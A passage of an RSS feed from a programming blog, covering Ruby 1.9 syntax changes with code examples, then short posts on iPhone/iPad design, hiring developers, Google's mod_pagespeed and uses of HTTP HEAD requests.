<span style="color:#008000; font-style:italic;"># &gt;&gt; [82, 195, 169]</span>
<span style="color:#CC0066; font-weight:bold;">p</span> utf8_resume.<span style="color:#9900CC;">chars</span>.<span style="color:#9900CC;">find</span> <span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#006600; font-weight:bold;">|</span>char<span style="color:#006600; font-weight:bold;">|</span> char.<span style="color:#9900CC;">bytesize</span> <span style="color:#006600; font-weight:bold;">&gt;</span> <span style="color:#006666;">1</span> <span style="color:#006600; font-weight:bold;">&#125;</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; &quot;é&quot;</span>
<span style="color:#CC0066; font-weight:bold;">p</span> utf8_resume.<span style="color:#9900CC;">codepoints</span>.<span style="color:#9900CC;">to_a</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; [82, 233, 115, 117, 109, 233]</span>
<span style="color:#CC0066; font-weight:bold;">p</span> utf8_resume.<span style="color:#9900CC;">lines</span>.<span style="color:#9900CC;">map</span> <span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#006600; font-weight:bold;">|</span>line<span style="color:#006600; font-weight:bold;">|</span> line.<span style="color:#9900CC;">reverse</span> <span style="color:#006600; font-weight:bold;">&#125;</span>
<span style="color:#008000; font-style:italic;"># &gt;&gt; [&quot;émuséR&quot;]</span></pre></td></tr></table></div>

</li>
</ul>
</li>
</ul>
<h3>Block variables now shadow local variables</h3>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code21'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36221"><td class="code" id="p362code21"><pre class="ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;">#Ruby 1.9</span>
&nbsp;
irb<span style="color:#006600; font-weight:bold;">&#40;</span>main<span style="color:#006600; font-weight:bold;">&#41;</span>:001:<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&gt;</span> i=<span style="color:#006666;">0</span>; <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span>,<span style="color:#006666;">2</span>,<span style="color:#006666;">3</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">each</span> <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>i<span style="color:#006600; font-weight:bold;">|</span><span style="color:#006600; font-weight:bold;">&#125;</span>; i
<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">0</span>
irb<span style="color:#006600; font-weight:bold;">&#40;</span>main<span style="color:#006600; font-weight:bold;">&#41;</span>:002:<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&gt;</span> i=<span style="color:#006666;">0</span>; <span style="color:#9966CC; font-weight:bold;">for</span> i <span style="color:#9966CC; font-weight:bold;">in</span> <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span>,<span style="color:#006666;">2</span>,<span style="color:#006666;">3</span><span style="color:#006600; font-weight:bold;">&#93;</span>; <span style="color:#9966CC; font-weight:bold;">end</span>; i
<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">3</span>
&nbsp;
<span style="color:#008000; font-style:italic;">#Ruby 1.8.6</span>
&nbsp;
irb<span style="color:#006600; font-weight:bold;">&#40;</span>main<span style="color:#006600; font-weight:bold;">&#41;</span>:001:<span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&gt;</span> i=<span style="color:#006666;">0</span>; <span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span>,<span style="color:#006666;">2</span>,<span style="color:#006666;">3</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">each</span> <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>i<span style="color:#006600; font-weight:bold;">|</span><span style="color:#006600; font-weight:bold;">&#125;</span>; i
<span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">3</span></pre></td></tr></table></div>

<h3>tr and Regexp are Unicode-compatible</h3>
<h3>You can now specify source file encoding</h3>
<pre>
Basic

# coding: utf-8
Emacs

# -*- encoding: utf-8 -*-
Shebang

#!/usr/local/rubybook/bin/ruby
# encoding: utf-8
</pre>
<h3>Inject methods</h3>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code22'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36222"><td class="code" id="p362code22"><pre class="ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;">#Ruby 1.9</span>
&nbsp;
<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span>,<span style="color:#006666;">2</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">inject</span><span style="color:#006600; font-weight:bold;">&#40;</span>:<span style="color:#006600; font-weight:bold;">+</span><span style="color:#006600; font-weight:bold;">&#41;</span>
&nbsp;
<span style="color:#008000; font-style:italic;">#Ruby 1.8.6</span>
&nbsp;
<span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span>,<span style="color:#006666;">2</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">inject</span> <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>a,b<span style="color:#006600; font-weight:bold;">|</span> a<span style="color:#006600; font-weight:bold;">+</span>b<span style="color:#006600; font-weight:bold;">&#125;</span></pre></td></tr></table></div>

<h3>Lambda shorthand syntax</h3>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code23'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36223"><td class="code" id="p362code23"><pre class="ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;">#Ruby 1.9</span>
&nbsp;
<span style="color:#CC0066; font-weight:bold;">p</span> = <span style="color:#006600; font-weight:bold;">-&gt;</span> a,b,c <span style="color:#006600; font-weight:bold;">&#123;</span>a<span style="color:#006600; font-weight:bold;">+</span>b<span style="color:#006600; font-weight:bold;">+</span>c<span style="color:#006600; font-weight:bold;">&#125;</span>
<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#CC0066; font-weight:bold;">p</span>.<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">1</span>,<span style="color:#006666;">2</span>,<span style="color:#006666;">3</span><span style="color:#006600; font-weight:bold;">&#41;</span>
<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#CC0066; font-weight:bold;">p</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span>,<span style="color:#006666;">2</span>,<span style="color:#006666;">3</span><span style="color:#006600; font-weight:bold;">&#93;</span>
&nbsp;
<span style="color:#008000; font-style:italic;">#Ruby 1.8.6</span>
&nbsp;
<span style="color:#CC0066; font-weight:bold;">p</span> = <span style="color:#CC0066; font-weight:bold;">lambda</span> <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">|</span>a,b,c<span style="color:#006600; font-weight:bold;">|</span> a<span style="color:#006600; font-weight:bold;">+</span>b<span style="color:#006600; font-weight:bold;">+</span>c<span style="color:#006600; font-weight:bold;">&#125;</span>
<span style="color:#CC0066; font-weight:bold;">puts</span> <span style="color:#CC0066; font-weight:bold;">p</span>.<span style="color:#9900CC;">call</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">1</span>,<span style="color:#006666;">2</span>,<span style="color:#006666;">3</span><span style="color:#006600; font-weight:bold;">&#41;</span></pre></td></tr></table></div>

<h3>Complex numbers</h3>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code24'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36224"><td class="code" id="p362code24"><pre class="ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;">#Ruby 1.9</span>
&nbsp;
<span style="color:#CC00FF; font-weight:bold;">Complex</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">3</span>,<span style="color:#006666;">4</span><span style="color:#006600; font-weight:bold;">&#41;</span> == <span style="color:#006666;">3</span> <span style="color:#006600; font-weight:bold;">+</span> <span style="color:#006666;">4</span>.<span style="color:#9900CC;">im</span></pre></td></tr></table></div>

<h3>Multi-splat</h3>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code25'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36225"><td class="code" id="p362code25"><pre class="ruby" style="font-family:monospace;"><span style="color:#008000; font-style:italic;"># This will work on both Ruby 1.8 and 1.9</span>
a, b, c = <span style="color:#006600; font-weight:bold;">*</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span>, <span style="color:#006666;">2</span><span style="color:#006600; font-weight:bold;">&#93;</span>, <span style="color:#006666;">3</span>
&nbsp;
<span style="color:#008000; font-style:italic;"># This will fail on 1.8, but work on 1.9</span>
a, b, c = <span style="color:#006666;">1</span>, <span style="color:#006600; font-weight:bold;">*</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">2</span>, <span style="color:#006666;">3</span><span style="color:#006600; font-weight:bold;">&#93;</span>
&nbsp;
<span style="color:#008000; font-style:italic;"># Even this will work on 1.9, but not 1.8</span>
a, b, c, d, e, f = <span style="color:#006600; font-weight:bold;">*</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">1</span>, <span style="color:#006666;">2</span><span style="color:#006600; font-weight:bold;">&#93;</span>, <span style="color:#006666;">3</span>, <span style="color:#006600; font-weight:bold;">*</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#006666;">4</span>, <span style="color:#006666;">5</span><span style="color:#006600; font-weight:bold;">&#93;</span></pre></td></tr></table></div>

<h3>Blocks now can accept block arguments</h3>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p362code26'); return false;">View Code</a> RUBY</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36226"><td class="code" id="p362code26"><pre class="ruby" style="font-family:monospace;">define_method<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#ff3333; font-weight:bold;">:answer</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#123;</span> <span style="color:#006600; font-weight:bold;">|&amp;</span>b<span style="color:#006600; font-weight:bold;">|</span> b.<span style="color:#9900CC;">call</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">42</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#006600; font-weight:bold;">&#125;</span></pre></td></tr></table></div>

<ul></ul>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/QlC87INbi2FCRiRVTE9xl7GivN8/0/da"><img src="http://feedads.g.doubleclick.net/~a/QlC87INbi2FCRiRVTE9xl7GivN8/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/QlC87INbi2FCRiRVTE9xl7GivN8/1/da"><img src="http://feedads.g.doubleclick.net/~a/QlC87INbi2FCRiRVTE9xl7GivN8/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/HieJXeY7h20" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/ruby-1-9-changes-cherry-picked/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/ruby-1-9-changes-cherry-picked/</feedburner:origLink></item>
		<item>
		<title>What does the popularity of iPhone and iPad tell us?</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/BV5KIZUUtkk/</link>
		<comments>http://blog.mostof.it/what-does-the-popularity-of-iphone-and-ipad-tell-us/#comments</comments>
		<pubDate>Sat, 29 Jan 2011 22:33:12 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[theory]]></category>
		<category><![CDATA[trends]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[design]]></category>
		<category><![CDATA[ipad]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[paradigm]]></category>
		<category><![CDATA[usability]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=347</guid>
		<description><![CDATA[
What do we have to learn from the last years' extreme popularity of iPhone, iPad and their top applications? Why is the appearance of these devices so important? Do they really mean the end of an era and the beginning of the next one?



To me, they do mean the end of an era: the ...]]></description>
			<content:encoded><![CDATA[<p></p><p><a rel="attachment wp-att-359" href="http://blog.mostof.it/what-does-the-popularity-of-iphone-and-ipad-tell-us/steve-jobs-ipad/"><img class="alignleft size-full wp-image-359" style="margin: 10px;" title="steve-jobs-ipad" src="http://blog.mostof.it/wp-content/uploads/2011/01/steve-jobs-ipad.jpg" alt="" width="157" height="187" /></a><br />
What do we have to learn from the last years&#8217; extreme popularity of iPhone, iPad and their top applications? Why is the appearance of these devices so important? Do they really mean the end of an era and the beginning of the next one?</p>
<p><span id="more-347"></span></p>
<p>To me, they do mean the end of an era: the end of developer-driven design. Game over. Now usability is king. Now the user, the customer drives design. Crappy devices, inconsistent interfaces can&#8217;t make a living anymore. Apple has started this silent revolution with realizing the opportunity and now others start to follow the path.</p>
<p>Need something? &#8220;There&#8217;s an app for that&#8221; &#8211; and usually a nice, consistent one (of course we come across lame apps from time to time but those don&#8217;t live long now). Know OS X? Used iPhone/iPad a bit? You already know most of the important stuff for your next Apple device. We like good interfaces and now we know we can get them. From now on any company that thinks it can feed us with crappy user experience is doomed. We&#8217;ve tasted good design and there&#8217;s no going back.</p>
<p>I&#8217;m writing this on my hackint0sh as my MacBook Pro sleeps quietly in my backpack and my iPhone is synchronizing my contacts, mails and calendars.</p>
<p>Apple might be evil and of course it only focuses on its own success and profit &#8211; but for now its interests coincide with our interests.</p>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/tcKCs4o_dcMCaj-W7Jdpnb_wIAE/0/da"><img src="http://feedads.g.doubleclick.net/~a/tcKCs4o_dcMCaj-W7Jdpnb_wIAE/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/tcKCs4o_dcMCaj-W7Jdpnb_wIAE/1/da"><img src="http://feedads.g.doubleclick.net/~a/tcKCs4o_dcMCaj-W7Jdpnb_wIAE/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/BV5KIZUUtkk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/what-does-the-popularity-of-iphone-and-ipad-tell-us/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/what-does-the-popularity-of-iphone-and-ipad-tell-us/</feedburner:origLink></item>
		<item>
		<title>Why I won’t hire you – a recruiter’s (re)view of developer candidates</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/-waDXeOJjoA/</link>
		<comments>http://blog.mostof.it/why-i-wont-hire-you-a-recruiters-review-of-developer-candidates/#comments</comments>
		<pubDate>Wed, 08 Dec 2010 15:16:29 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Featured Articles]]></category>
		<category><![CDATA[review]]></category>
		<category><![CDATA[theory]]></category>
		<category><![CDATA[tools]]></category>
		<category><![CDATA[trends]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[improvement]]></category>
		<category><![CDATA[recruitment]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=327</guid>
		<description><![CDATA[After leading a relatively high number of developer interviews lately I feel like summarizing my experience - the things I look for in the candidates.

I've been always doing a 3-round interview:
- round #1: A 1.5 hour long test along with the other candidates. Some easy factual questions, some minimal coding, some SQL and some ...]]></description>
			<content:encoded><![CDATA[<p></p><div id="_mcePaste">After leading a relatively high number of developer interviews lately I feel like summarizing my experience &#8211; the things I look for in the candidates.</div>
<div><span id="more-327"></span></div>
<div id="_mcePaste">I&#8217;ve been always doing a 3-round interview:</div>
<div id="_mcePaste">- round #1: A 1.5 hour long test along with the other candidates. Some easy factual questions, some minimal coding, some SQL and some requiring logic and deeper thinking.</div>
<div id="_mcePaste">- round #2: a standalone, logically trickier program to code. I&#8217;m giving days to the candidates to solve it at home then send in the code.</div>
<div id="_mcePaste">- round #3: a personal interview. Developers who reach this point are mostly technically competent and lack big problems. This is the &#8216;fine-tuning&#8217; phase, I could say.</div>
<div id="_mcePaste">These are the things I look for:</div>
<h3><strong>What makes the candidate &#8216;click&#8217;? Programming or creating?</strong></h3>
<div id="_mcePaste" style="padding-left: 30px;">By &#8216;programming&#8217; I mean the urge to find out how things work, to control things, to fiddle with details and inner workings of stuff.<br />
&#8216;Creating&#8217; kind of speaks for itself &#8211; it&#8217;s the warm and fuzzy feeling that gets inside you when you finally release the beast you&#8217;ve been designing and coding for weeks.<br />
There should be a healthy balance as both are very important in this field. People who are only into &#8216;programming&#8217; often lose the &#8216;big picture&#8217; and don&#8217;t pay attention to other factors like priorizing, cost-saving, etc.. Devs who only like to create many times go into the infinite loop of &#8216;eternal design&#8217;  without ever producing any deliverable code.</div>
<h3><strong>Does the candidate seem like a person who feels projects his own?</strong></h3>
<p style="padding-left: 30px;">Will he take responsibilty and &#8216;parent&#8217; his projects? Specifications and needs are many times incomplete and devs who pay extra attention to their projects usually spot these &#8216;weak points&#8217; or holes, thus they get fixed/covered before the release, not days/weeks after in the forms of bugreports.</p>
<h3>School is important but it will never replace experience.</h3>
<p style="padding-left: 30px;"><span style="font-weight: normal;"> School is great and neccessary for a firm understanding of maths, structured thinking, etc..</span></p>
<p style="padding-left: 30px;"><span style="font-weight: normal;"> </span> Experience is king, things rarely work as specified in 10 years old books in the field of development. It&#8217;s even more true for online development.</p>
<p style="padding-left: 30px;">
<h3><strong>Do I see the will to improve in the candidate? </strong></h3>
<p style="padding-left: 30px;">Nobody&#8217;s perfect. Nobody knows everything. This field is ever-changing, devs need to keep updating their knowledge. Enthusiasm for the field is a must, they need to have that &#8216;fire in their eyes&#8217; when they talk about their profession. People generally won&#8217;t improve only because of the fear of getting fired, they need real motivation &#8211; which greatly comes from their own enthusiasm.</p>
<p style="padding-left: 30px;">
<h3>I like to surprise the candidates with questions/problems from different fields.</h3>
<p style="padding-left: 30px;">It shows if they&#8217;re smart or only experienced in development. Begin smart and analytical is very important, they should be able to quickly analyze and solve problems in general, not only in development. It&#8217;s a different mindset which won&#8217;t form by simply writing tons of code. Look for the architect, not the coder.</p>
<h3>Is the candidate prepared to &#8220;unlearn&#8221;?</h3>
<p style="padding-left: 30px;">Some methods, knowledge are just simply outdated, not valid anymore. Many people have trouble letting go of old knowledge &#8211; and it will mess with new knowledge in that field.</p>
<h3>Is he able to focus and simply keep unimportant things out?</h3>
<p style="padding-left: 30px;">Unfortunately like the last point It&#8217;s hard or impossible to test. It&#8217;s very important when people come bugging him or there&#8217;s a ton of things to do and he has to priorize.</p>
<h3>Teamwork.</h3>
<p style="padding-left: 30px;">Lone wolfs are fine from time to time, but being the part of a team is neccessary. Decent communication skills are required.. Also here &#8216;letting go&#8217; can play role as sometimes someone else will take his work over. People get reassigned, etc.</p>
<h3><strong>Testing skills. </strong></h3>
<p style="padding-left: 30px;">Lack is a no-go. They should at least have the right mindset.</p>
<h3>Polyglot skills.</h3>
<div style="padding-left: 30px;">One language/platform is not enough. We all know this, a language is a tool and we need different tools for different types of work. People who are not able to switch tools are doomed in this field.</div>
<h3><strong>Have a whole picture &#8211; it&#8217;s related to experience vs. education only</strong>.</h3>
<p style="padding-left: 30px;">Experienced developers tend to have better overview and won&#8217;t get lost in the details. If you spend 2 weeks trying to figure out how to make a query work faster in MySQL, you&#8217;re probably wasting time. After a day or to you should have moved on to another solution and went on with the project.</p>
<div id="_mcePaste">Of course many smaller other things come into account, but these are the major points that came to my mind. Feel free to add your concepts!</div>
<div>Also check out my post on <a title="How to be a better developer" href="http://blog.mostof.it/being-a-better-developer/">how to be a better deveoper </a>- you might even pass an interview <img src='http://blog.mostof.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </div>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/erSI5FcLrd_ibe5SvrALnm4hlNc/0/da"><img src="http://feedads.g.doubleclick.net/~a/erSI5FcLrd_ibe5SvrALnm4hlNc/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/erSI5FcLrd_ibe5SvrALnm4hlNc/1/da"><img src="http://feedads.g.doubleclick.net/~a/erSI5FcLrd_ibe5SvrALnm4hlNc/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/-waDXeOJjoA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/why-i-wont-hire-you-a-recruiters-review-of-developer-candidates/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/why-i-wont-hire-you-a-recruiters-review-of-developer-candidates/</feedburner:origLink></item>
		<item>
		<title>mod_pagespeed – why so hasty just yet?</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/tryr2KjPWEo/</link>
		<comments>http://blog.mostof.it/mod_pagespeed/#comments</comments>
		<pubDate>Fri, 05 Nov 2010 14:00:59 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Featured Articles]]></category>
		<category><![CDATA[review]]></category>
		<category><![CDATA[scalability]]></category>
		<category><![CDATA[theory]]></category>
		<category><![CDATA[tuning]]></category>
		<category><![CDATA[caching]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[mod_pagespeed]]></category>
		<category><![CDATA[optimization]]></category>
		<category><![CDATA[performance]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=284</guid>
		<description><![CDATA[The net's been loud with google's mod_pagespeed lately.

According to the project page:
mod_pagespeed is an open-source Apache module that automatically optimizes web pages and resources on them. It does this by rewriting the resources using filters that implement web performance best practices. Webmasters and web developers can use mod_pagespeed to improve the performance of their ...]]></description>
			<content:encoded><![CDATA[<p></p><p>The net&#8217;s been loud with google&#8217;s mod_pagespeed lately.</p>
<p>According to the <a title="mod_pagespeed priject page" href="http://code.google.com/intl/hu-HU/speed/page-speed/docs/module.html">project page</a>:</p>
<blockquote><p>mod_pagespeed is an open-source Apache module that automatically optimizes web pages and resources on them. It does this by rewriting the resources using filters that implement web performance best practices. Webmasters and web developers can use mod_pagespeed to improve the performance of their web pages when serving content with the Apache HTTP Server.</p>
<p>mod_pagespeed includes several filter that optimize JavaScript, HTML and CSS stylesheets. It also includes filters for optimizing JPEG and PNG images. The filters are based on a set of <a href="http://code.google.com/speed/page-speed/docs/rules_intro.html">best practices</a> known to enhance web page performance. Webmasters who set up mod_pagespeed in addition to configuring proper caching and compression on their Apache distribution should expect to see an improvement in the loading time of the pages on their websites.</p></blockquote>
<p>This all sounds very nice, so what are my objections? Read along.</p>
<p><span id="more-284"></span>First, I&#8217;m always very critical of automatic optimisation techniques. They shade developer responsibility and awareness and can do some disastrous, unintended modifications in the background.</p>
<p>My points are:</p>
<ul>
<li>A web developer should have a clear knowledge about optimization techniques and do them in the template, css, etc.</li>
<li>Don&#8217;t impose additional load on the web server just because you lack the knowledge or you&#8217;re just lazy</li>
<li>There&#8217;s much more to web sites than performance. How about SEO? Are you sure that an automatic reorganization of your html source is SEO friendly? Maybe mod_pagespeed is harmless in 99% of the cases, but still TAKE A DAMN LOOK.</li>
<li>mod_pagespeed can be a very nice tool supporting development, though! You can use it to check out possible optimizations, opportunities that you might have missed. Use it as some kind of HTML+CSS template generator that transforms your first-run code to something possibly more optimized which you can alter by hand.</li>
</ul>
<p>So as a summary, I&#8217;m sure mod_pagespeed can be a very nice tool in development mode to spot possible optimization opportunities, and also for large static-html CMS, etc. providers so that big chunk of unoptimized and messy static html pile gets a major performance upgrade, but I&#8217;d encourage every web developer to do these optimizations by hand or semi-automatically.</p>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/X7m4NCzsJ93z4xBQQipZL5sJRgk/0/da"><img src="http://feedads.g.doubleclick.net/~a/X7m4NCzsJ93z4xBQQipZL5sJRgk/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/X7m4NCzsJ93z4xBQQipZL5sJRgk/1/da"><img src="http://feedads.g.doubleclick.net/~a/X7m4NCzsJ93z4xBQQipZL5sJRgk/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/tryr2KjPWEo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/mod_pagespeed/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/mod_pagespeed/</feedburner:origLink></item>
		<item>
		<title>What is a HTTP HEAD request good for? – Some uses</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/HZ84V179ZSM/</link>
		<comments>http://blog.mostof.it/what-is-a-http-head-request-good-for-some-uses/#comments</comments>
		<pubDate>Fri, 05 Nov 2010 12:28:31 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[html]]></category>
		<category><![CDATA[theory]]></category>
		<category><![CDATA[head]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[request]]></category>

		<guid isPermaLink="false">http://blog.mostof.it/?p=263</guid>
		<description><![CDATA[Let's meet HTTP GET 's little brother
According to Wikipedia:
Asks for the response identical to the one that would correspond to a GET request, but without the response body. This is useful for retrieving meta-information written in response headers, without having to transport the entire content.


This means that we have a faster way of checking ...]]></description>
			<content:encoded><![CDATA[<p></p><h2>Let&#8217;s meet HTTP GET &#8216;s little brother</h2>
<p>According to Wikipedia:</p>
<blockquote><p>Asks for the response identical to the one that would correspond to a GET request, but without the response body. This is useful for retrieving meta-information written in response headers, without having to transport the entire content.</p></blockquote>
<p><span id="more-263"></span></p>
<p>This means that we have a faster way of checking the headers and some server info for a given resource on the server. So the first trivial way of using a HTTP HEAD request is checking if a given url is serviceable, a given file exists, etc.. This can be used for example for creating a faster link verification service.</p>
<p>Also HEAD returns the full headers, so we can do a LastModified/ContentLength check to decide if we want to re-download a given resource.</p>
<p>There&#8217;s another simple use of HEAD: you can log js based content appearances. For example you have an ad service which is js based and you&#8217;d like to log the number of appearances. You could naively count the number of downloads in the web server&#8217;s access log to that specific js but that has some false positives so you&#8217;d better move the &#8216;I&#8217;m shown&#8217; logic to the ad itself. The classic way is counting the number of image accesses or adding a special 1-pixel image, but there&#8217;s also a simpler way: just have the js code make a HEAD request to the server. You can then configure the server to log those HEAD requests separately and voila &#8211; you have your ad display stats with near zero resource usage (at least in regards of serving content) on your server.</p>
<p>These are just some basic ideas, I feel that HTTP HEAD is unfairly forgotten.</p>
<p class="wp-flattr-button"></p>
<p><a href="http://feedads.g.doubleclick.net/~a/HnWDMqgAi2XNt_TbtG-fe2uFL7c/0/da"><img src="http://feedads.g.doubleclick.net/~a/HnWDMqgAi2XNt_TbtG-fe2uFL7c/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/HnWDMqgAi2XNt_TbtG-fe2uFL7c/1/da"><img src="http://feedads.g.doubleclick.net/~a/HnWDMqgAi2XNt_TbtG-fe2uFL7c/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Blogmostofit/~4/HZ84V179ZSM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.mostof.it/what-is-a-http-head-request-good-for-some-uses/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		<feedburner:origLink>http://blog.mostof.it/what-is-a-http-head-request-good-for-some-uses/</feedburner:origLink></item>
		<item>
		<title>Drawing the Mandelbrot set in Ruby and Haskell</title>
		<link>http://feedproxy.google.com/~r/Blogmostofit/~3/tWc45v_8v5k/</link>
		<comments>http://blog.mostof.it/mandelbrot-set-in-ruby-and-haskell/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 17:53:23 +0000</pubDate>
		<dc:creator>Ochronus</dc:creator>
				<category><![CDATA[Featured Articles]]></category>
		<category><![CDATA[haskell]]></category>
